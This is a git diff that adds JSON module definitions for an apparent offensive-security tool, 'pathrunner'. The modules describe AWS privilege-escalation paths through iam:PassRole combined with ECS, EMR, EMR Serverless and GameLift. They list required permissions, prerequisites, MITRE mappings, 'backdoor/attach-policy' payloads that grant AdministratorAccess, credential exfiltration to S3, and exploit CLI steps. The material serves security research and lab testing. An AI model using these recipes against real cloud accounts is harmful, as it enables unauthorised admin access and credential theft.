+      "name": "CONTAINER_NAME",
+      "description": "Container name within the task (auto-detected from task definition if not set)",
+      "required": false,
+      "mockValue": "target-container"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region",
+      "required": false,
+      "default": "us-east-1"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ecs-006",
+    "pathrunner set CLUSTER_NAME target-ecs-cluster",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ecs-006",
+  "gifs": [
+    {
+      "name": "ecs-006",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ecs-007.json b/docs/pathrunner/data/modules/ecs-007.json
new file mode 100644
index 00000000..406e7a2b
--- /dev/null
+++ b/docs/pathrunner/data/modules/ecs-007.json
@@ -0,0 +1,174 @@
+{
+  "id": "ecs-007",
+  "name": "iam:PassRole + ecs:StartTask + ecs:RegisterContainerInstance",
+  "description": "Register an EC2 instance to an ECS cluster and start an existing task definition with overrides to pass a privileged role and execute arbitrary container commands \u2014 no ecs:RegisterTaskDefinition required",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "ecs"
+  ],
+  "primaryService": "ecs",
+  "aliases": [
+    "ecs-starttask-registercontainerinstance",
+    "exploit/ecs_starttask_registercontainerinstance"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ecs-007",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must cover both the task role ARN (override) and the execution role in the existing task definition"
+      },
+      {
+        "permission": "ecs:RegisterContainerInstance",
+        "description": "Register the EC2 instance to the target cluster via direct API call using IMDS identity documents"
+      },
+      {
+        "permission": "ecs:StartTask",
+        "description": "Start tasks on container instances in the target cluster"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ecs:ListClusters",
+        "description": "Discover available ECS clusters"
+      },
+      {
+        "permission": "ecs:ListContainerInstances",
+        "description": "Discover registered container instances"
+      },
+      {
+        "permission": "ecs:ListTaskDefinitions",
+        "description": "Discover existing task definitions to exploit"
+      },
+      {
+        "permission": "ecs:DescribeTasks",
+        "description": "Monitor task execution status"
+      },
+      {
+        "permission": "ecs:DeregisterContainerInstance",
+        "description": "Clean up orphaned container instance registrations"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover roles that trust ecs-tasks.amazonaws.com"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Attacker has RCE on an EC2 instance whose role has the required permissions",
+      "An ECS cluster must exist in the account",
+      "An existing task definition must be available",
+      "A role must exist that trusts ecs-tasks.amazonaws.com with administrative permissions",
+      "The EC2 instance must be registered to the cluster (this module handles the StartTask step; registration is a prerequisite)"
+    ],
+    "lateral": [
+      "Attacker has RCE on an EC2 instance whose role has the required permissions",
+      "An ECS cluster must exist in the account",
+      "An existing task definition must be available",
+      "A role must exist that trusts ecs-tasks.amazonaws.com"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ecs-007",
+      "url": "https://pathfinding.cloud/paths/ecs-007"
+    },
+    {
+      "title": "Another ECS Privilege Escalation Path",
+      "url": "https://labs.reversec.com/posts/2025/08/another-ecs-privilege-escalation-path"
+    },
+    {
+      "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers",
+      "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1610 - Deploy Container"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass as taskRoleArn override (must trust ecs-tasks.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "CLUSTER_NAME",
+      "description": "ECS cluster name or ARN where the container instance is registered",
+      "required": true,
+      "mockValue": "target-ecs-cluster"
+    },
+    {
+      "name": "TASK_DEFINITION",
+      "description": "Existing ECS task definition family or ARN to exploit via --overrides",
+      "required": true,
+      "mockValue": "target-task-def:1"
+    },
+    {
+      "name": "CONTAINER_INSTANCE_ARN",
+      "description": "ARN of the container instance registered to the cluster (from ecs:RegisterContainerInstance)",
+      "required": true,
+      "mockValue": "arn:aws:ecs::123456789012:container-instance/target-ecs-cluster/abc1234567890"
+    },
+    {
+      "name": "CONTAINER_NAME",
+      "description": "Name of the container in the existing task definition to override",
+      "required": true,
+      "mockValue": "target-container"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for ECS operations",
+      "required": false,
+      "default": "us-east-1"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via ECS task container command",
+      "slug": "ecs-backdoor-attach-policy",
+      "qualifiedName": "ecs:backdoor/attach-policy",
+      "service": "ecs",
+      "tags": [
+        "ecs",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ecs-007",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set CLUSTER_NAME target-ecs-cluster",
+    "pathrunner set TASK_DEFINITION target-task-def:1",
+    "pathrunner set CONTAINER_INSTANCE_ARN arn:aws:ecs::123456789012:container-instance/target-ecs-cluster/abc1234567890",
+    "pathrunner set CONTAINER_NAME target-container",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ecs-007",
+  "gifs": [
+    {
+      "name": "ecs-007",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ecs-008.json b/docs/pathrunner/data/modules/ecs-008.json
new file mode 100644
index 00000000..eae1b90e
--- /dev/null
+++ b/docs/pathrunner/data/modules/ecs-008.json
@@ -0,0 +1,168 @@
+{
+  "id": "ecs-008",
+  "name": "iam:PassRole + ecs:RunTask",
+  "description": "Override an existing ECS task definition's container command and task role at runtime using the --overrides parameter of ecs:RunTask \u2014 no ecs:RegisterTaskDefinition required",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "ecs"
+  ],
+  "primaryService": "ecs",
+  "aliases": [
+    "ecs-passrole-runtask",
+    "exploit/ecs_passrole_runtask"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ecs-008",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must cover both the task role ARN (for the taskRoleArn override) and the execution role ARN in the existing task definition"
+      },
+      {
+        "permission": "ecs:RunTask",
+        "description": "Must have permission to run tasks in the target cluster"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ecs:ListClusters",
+        "description": "Discover available ECS clusters"
+      },
+      {
+        "permission": "ecs:ListTaskDefinitions",
+        "description": "Discover existing task definitions to exploit with overrides"
+      },
+      {
+        "permission": "ecs:DescribeTasks",
+        "description": "Monitor task execution status"
+      },
+      {
+        "permission": "ec2:DescribeVpcs",
+        "description": "Find VPCs for Fargate network configuration"
+      },
+      {
+        "permission": "ec2:DescribeSubnets",
+        "description": "Find subnets for Fargate network configuration"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles to pass"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An ECS cluster must exist in the account",
+      "An existing task definition must be available (no ecs:RegisterTaskDefinition required)",
+      "A role must exist that trusts ecs-tasks.amazonaws.com with administrative permissions",
+      "A subnet must be available for Fargate launch type network configuration"
+    ],
+    "lateral": [
+      "An ECS cluster must exist in the account",
+      "An existing task definition must be available",
+      "A role must exist that trusts ecs-tasks.amazonaws.com",
+      "A subnet must be available for Fargate launch type network configuration"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ecs-008",
+      "url": "https://pathfinding.cloud/paths/ecs-008"
+    },
+    {
+      "title": "Another ECS Privilege Escalation Path",
+      "url": "https://labs.reversec.com/posts/2025/08/another-ecs-privilege-escalation-path"
+    },
+    {
+      "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers",
+      "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1610 - Deploy Container"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass as taskRoleArn override (must trust ecs-tasks.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "CLUSTER_NAME",
+      "description": "ECS cluster name or ARN to run the task on",
+      "required": true,
+      "mockValue": "target-ecs-cluster"
+    },
+    {
+      "name": "TASK_DEFINITION",
+      "description": "Existing ECS task definition family or ARN to exploit via --overrides",
+      "required": true,
+      "mockValue": "target-task-def:1"
+    },
+    {
+      "name": "CONTAINER_NAME",
+      "description": "Name of the container in the existing task definition to override (default: first container)",
+      "required": false,
+      "default": "app",
+      "mockValue": "target-container"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for ECS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "SUBNET_ID",
+      "description": "Subnet ID for Fargate network configuration (will auto-detect from default VPC if not specified)",
+      "required": false,
+      "mockValue": "subnet-0123456789abcdef0"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via ECS task container command",
+      "slug": "ecs-backdoor-attach-policy",
+      "qualifiedName": "ecs:backdoor/attach-policy",
+      "service": "ecs",
+      "tags": [
+        "ecs",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ecs-008",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set CLUSTER_NAME target-ecs-cluster",
+    "pathrunner set TASK_DEFINITION target-task-def:1",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ecs-008",
+  "gifs": [
+    {
+      "name": "ecs-008",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/ecs-009.json b/docs/pathrunner/data/modules/ecs-009.json
new file mode 100644
index 00000000..fd684abf
--- /dev/null
+++ b/docs/pathrunner/data/modules/ecs-009.json
@@ -0,0 +1,158 @@
+{
+  "id": "ecs-009",
+  "name": "iam:PassRole + ecs:StartTask",
+  "description": "Override an existing ECS task definition's container command and task role via ecs:StartTask --overrides on an EC2 container instance to execute code with the passed role's permissions",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "ecs"
+  ],
+  "primaryService": "ecs",
+  "aliases": [
+    "ecs-passrole-starttask",
+    "exploit/ecs_passrole_starttask"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/ecs-009",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must cover both the task role ARN (for the override) and the execution role ARN defined in the existing task definition"
+      },
+      {
+        "permission": "ecs:StartTask",
+        "description": "Must have permission to start tasks on an existing EC2 container instance in the target cluster"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "ecs:ListClusters",
+        "description": "Discover available ECS clusters"
+      },
+      {
+        "permission": "ecs:ListContainerInstances",
+        "description": "Retrieve container instance ARN needed for StartTask"
+      },
+      {
+        "permission": "ecs:ListTaskDefinitions",
+        "description": "Discover existing task definitions to exploit with overrides"
+      },
+      {
+        "permission": "ecs:DescribeTasks",
+        "description": "Monitor task execution status"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles to pass"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An ECS cluster must exist with at least one registered EC2 container instance",
+      "An existing task definition must be available in the cluster",
+      "A role must exist that trusts ecs-tasks.amazonaws.com with administrative permissions"
+    ],
+    "lateral": [
+      "An ECS cluster must exist with at least one registered EC2 container instance",
+      "An existing task definition must be available in the cluster",
+      "A role must exist that trusts ecs-tasks.amazonaws.com"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - ecs-009",
+      "url": "https://pathfinding.cloud/paths/ecs-009"
+    },
+    {
+      "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers",
+      "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1610 - Deploy Container"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass as the task role override (must trust ecs-tasks.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "CLUSTER_NAME",
+      "description": "ECS cluster name or ARN containing the EC2 container instance",
+      "required": true,
+      "mockValue": "target-ecs-cluster"
+    },
+    {
+      "name": "CONTAINER_INSTANCE_ARN",
+      "description": "ARN of the EC2 container instance to start the task on",
+      "required": true,
+      "mockValue": "arn:aws:ecs::123456789012:container-instance/target-ecs-cluster/abc1234567890"
+    },
+    {
+      "name": "TASK_DEFINITION",
+      "description": "Existing task definition family name or ARN to override (no ecs:RegisterTaskDefinition needed)",
+      "required": true,
+      "mockValue": "target-task-def:1"
+    },
+    {
+      "name": "CONTAINER_NAME",
+      "description": "Name of the container in the task definition whose command will be overridden (auto-discovered from task definition if not set)",
+      "required": false,
+      "mockValue": "target-container"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for ECS operations",
+      "required": false,
+      "default": "us-east-1"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via ECS task container command",
+      "slug": "ecs-backdoor-attach-policy",
+      "qualifiedName": "ecs:backdoor/attach-policy",
+      "service": "ecs",
+      "tags": [
+        "ecs",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use ecs-009",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set CLUSTER_NAME target-ecs-cluster",
+    "pathrunner set CONTAINER_INSTANCE_ARN arn:aws:ecs::123456789012:container-instance/target-ecs-cluster/abc1234567890",
+    "pathrunner set TASK_DEFINITION target-task-def:1",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "ecs-009",
+  "gifs": [
+    {
+      "name": "ecs-009",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/emr-001.json b/docs/pathrunner/data/modules/emr-001.json
new file mode 100644
index 00000000..14539279
--- /dev/null
+++ b/docs/pathrunner/data/modules/emr-001.json
@@ -0,0 +1,158 @@
+{
+  "id": "emr-001",
+  "name": "iam:PassRole + elasticmapreduce:RunJobFlow",
+  "description": "Create an EMR cluster with a privileged IAM instance profile as the JobFlowRole. An EMR step using command-runner.jar executes on the master node, which has access to the instance profile credentials via IMDS, and calls iam:AttachUserPolicy to escalate the starting principal to administrative access. The cluster auto-terminates after the step.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "emr"
+  ],
+  "primaryService": "emr",
+  "aliases": [
+    "emr-passrole",
+    "exploit/emr_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/emr-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass both the EC2 instance profile role and the EMR service role"
+      },
+      {
+        "permission": "elasticmapreduce:RunJobFlow"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "elasticmapreduce:DescribeCluster",
+        "description": "Poll cluster state to confirm execution"
+      },
+      {
+        "permission": "elasticmapreduce:ListSteps",
+        "description": "Verify step execution status"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Verify privilege escalation success"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM role that can be used as an EC2 instance profile (trusts ec2.amazonaws.com) with administrative permissions",
+      "IAM role that can serve as the EMR service role (trusts elasticmapreduce.amazonaws.com)",
+      "The AWSServiceRoleForEMRCleanup service-linked role must exist in the account"
+    ],
+    "lateral": [
+      "A role that can be used as an EC2 instance profile with elevated permissions",
+      "A role that can serve as the EMR service role"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - emr-001",
+      "url": "https://pathfinding.cloud/paths/emr-001"
+    },
+    {
+      "title": "Configure IAM service roles for Amazon EMR",
+      "url": "https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-iam-roles.html"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "INSTANCE_PROFILE",
+      "description": "Admin IAM instance profile name to pass as the EMR JobFlowRole (the EC2 master node assumes this role)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile"
+    },
+    {
+      "name": "SERVICE_ROLE",
+      "description": "EMR service role name to pass as the ServiceRole (trusts elasticmapreduce.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetServiceRole"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to escalate (auto-detected from current identity if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for the EMR cluster",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "RELEASE_LABEL",
+      "description": "EMR release label",
+      "required": false,
+      "default": "emr-7.0.0"
+    },
+    {
+      "name": "INSTANCE_TYPE",
+      "description": "EC2 instance type for the master node",
+      "required": false,
+      "default": "m5.xlarge"
+    },
+    {
+      "name": "CLUSTER_NAME",
+      "description": "Name for the EMR cluster",
+      "required": false,
+      "mockValue": "target-ecs-cluster"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Terminate cluster if it is still running after execution (clusters auto-terminate via --auto-terminate)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via an EMR step command",
+      "slug": "emr-backdoor-attach-policy",
+      "qualifiedName": "emr:backdoor/attach-policy",
+      "service": "emr",
+      "tags": [
+        "emr",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use emr-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set INSTANCE_PROFILE arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile",
+    "pathrunner set SERVICE_ROLE arn:aws:iam::123456789012:role/TargetServiceRole",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "emr-001",
+  "gifs": [
+    {
+      "name": "emr-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/emrserverless-001.json b/docs/pathrunner/data/modules/emrserverless-001.json
new file mode 100644
index 00000000..c217c649
--- /dev/null
+++ b/docs/pathrunner/data/modules/emrserverless-001.json
@@ -0,0 +1,140 @@
+{
+  "id": "emrserverless-001",
+  "name": "iam:PassRole + emr-serverless:CreateApplication + emr-serverless:StartJobRun",
+  "description": "A principal with iam:PassRole, emr-serverless:CreateApplication, and emr-serverless:StartJobRun can escalate privileges by creating an EMR Serverless Spark application and starting a job run that passes an admin IAM execution role. The Spark job exfiltrates the execution role's credentials to S3 (IAM is not reachable without a VPC), and the module uses those credentials to attach AdministratorAccess to the starting user.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "emrserverless"
+  ],
+  "primaryService": "emrserverless",
+  "aliases": [
+    "emrserverless-passrole",
+    "exploit/emrserverless_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/emrserverless-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass the target admin IAM role to emr-serverless.amazonaws.com"
+      },
+      {
+        "permission": "emr-serverless:CreateApplication"
+      },
+      {
+        "permission": "emr-serverless:StartJobRun"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "emr-serverless:GetApplication",
+        "description": "Poll application state before starting job run"
+      },
+      {
+        "permission": "emr-serverless:GetJobRun",
+        "description": "Monitor job run status and verify completion"
+      },
+      {
+        "permission": "emr-serverless:ListApplications",
+        "description": "Discover existing applications"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Verify privilege escalation success"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM role trusting emr-serverless.amazonaws.com with administrative permissions",
+      "AWS EMR Serverless service-linked role (AWSServiceRoleForAmazonEMRServerless) must exist in the account",
+      "S3 bucket accessible by the execution role for script hosting and credential exfil"
+    ],
+    "lateral": [
+      "IAM role trusting emr-serverless.amazonaws.com with elevated permissions",
+      "S3 bucket accessible by the execution role for script hosting"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - emrserverless-001",
+      "url": "https://pathfinding.cloud/paths/emrserverless-001"
+    },
+    {
+      "title": "Actions defined by Amazon EMR Serverless",
+      "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonemrserverless.html"
+    },
+    {
+      "title": "IAM roles for EMR Serverless",
+      "url": "https://docs.aws.amazon.com/emr/latest/EMR-Serverless-UserGuide/security-iam-role.html"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "EXECUTION_ROLE_ARN",
+      "description": "IAM role ARN to pass as the EMR Serverless job execution role (must trust emr-serverless.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "BUCKET",
+      "description": "S3 bucket for hosting the exploit script and receiving exfiltrated credentials. Must be readable and writable by the execution role. If not set, uses attacker code bucket for script and attacker exfil bucket for credentials.",
+      "required": false,
+      "mockValue": "target-s3-bucket-123456789012"
+    },
+    {
+      "name": "BUCKET_REGION",
+      "description": "AWS region of BUCKET (defaults to REGION if not set)",
+      "required": false
+    },
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for EMR Serverless (defaults to us-east-1)",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "APP_NAME",
+      "description": "Name for the EMR Serverless application (auto-generated if not set)",
+      "required": false,
+      "mockValue": "target-app"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Stop and delete the EMR Serverless application after execution. Default false because the starting user typically lacks emr-serverless:DeleteApplication.",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use emrserverless-001",
+    "pathrunner set EXECUTION_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "emrserverless-001",
+  "gifs": [
+    {
+      "name": "emrserverless-001",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/gamelift-001.json b/docs/pathrunner/data/modules/gamelift-001.json
new file mode 100644
index 00000000..5c224a17
--- /dev/null
+++ b/docs/pathrunner/data/modules/gamelift-001.json
@@ -0,0 +1,167 @@
+{
+  "id": "gamelift-001",
+  "name": "iam:PassRole + gamelift:CreateBuild + gamelift:CreateFleet",
+  "description": "Upload a malicious game server build to GameLift, then create a fleet with an admin IAM instance role using SHARED_CREDENTIAL_FILE. The game server process reads the instance role credentials from /local/credentials/credentials and attaches AdministratorAccess to the starting user. Fleet provisioning typically takes 5-15 minutes.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "gamelift"
+  ],
+  "primaryService": "gamelift",
+  "aliases": [
+    "gamelift-passrole",
+    "exploit/gamelift_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/gamelift-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass the target admin role to GameLift"
+      },
+      {
+        "permission": "gamelift:CreateBuild"
+      },
+      {
+        "permission": "gamelift:CreateFleet"
+      },
+      {
+        "permission": "gamelift:RequestUploadCredentials",
+        "description": "Required to get temporary S3 upload credentials"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "gamelift:DescribeBuild",
+        "description": "Poll build status until READY"
+      },
+      {
+        "permission": "gamelift:DescribeFleetAttributes",
+        "description": "Monitor fleet provisioning status"
+      },
+      {
+        "permission": "gamelift:ListFleets",
+        "description": "Discover existing fleets"
+      },
+      {
+        "permission": "gamelift:DescribeInstances",
+        "description": "Confirm instance provisioning"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Verify privilege escalation success"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM role that trusts ec2.amazonaws.com with administrative permissions"
+    ],
+    "lateral": [
+      "IAM role that trusts ec2.amazonaws.com with elevated permissions"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - gamelift-001",
+      "url": "https://pathfinding.cloud/paths/gamelift-001"
+    },
+    {
+      "title": "Actions defined by Amazon GameLift - Service Authorization Reference",
+      "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazongamelift.html"
+    },
+    {
+      "title": "Set up an IAM service role for Amazon GameLift Servers",
+      "url": "https://docs.aws.amazon.com/gamelift/latest/developerguide/setting-up-role.html"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass as the GameLift fleet instance role (must trust ec2.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for GameLift build and fleet",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "BUILD_NAME",
+      "description": "Name tag for the GameLift build",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "FLEET_NAME",
+      "description": "Name tag for the GameLift fleet",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "INSTANCE_TYPE",
+      "description": "EC2 instance type for the fleet",
+      "required": false,
+      "default": "c5.large"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete build and fleet after execution. The starting user typically lacks gamelift:DeleteFleet and gamelift:DeleteBuild; use workspace cleanup with admin credentials instead.",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach an IAM policy to a user or role via a GameLift game server process that reads SHARED_CREDENTIAL_FILE instance role credentials",
+      "slug": "gamelift-backdoor-attach-policy",
+      "qualifiedName": "gamelift:backdoor/attach-policy",
+      "service": "gamelift",
+      "tags": [
+        "gamelift",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use gamelift-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
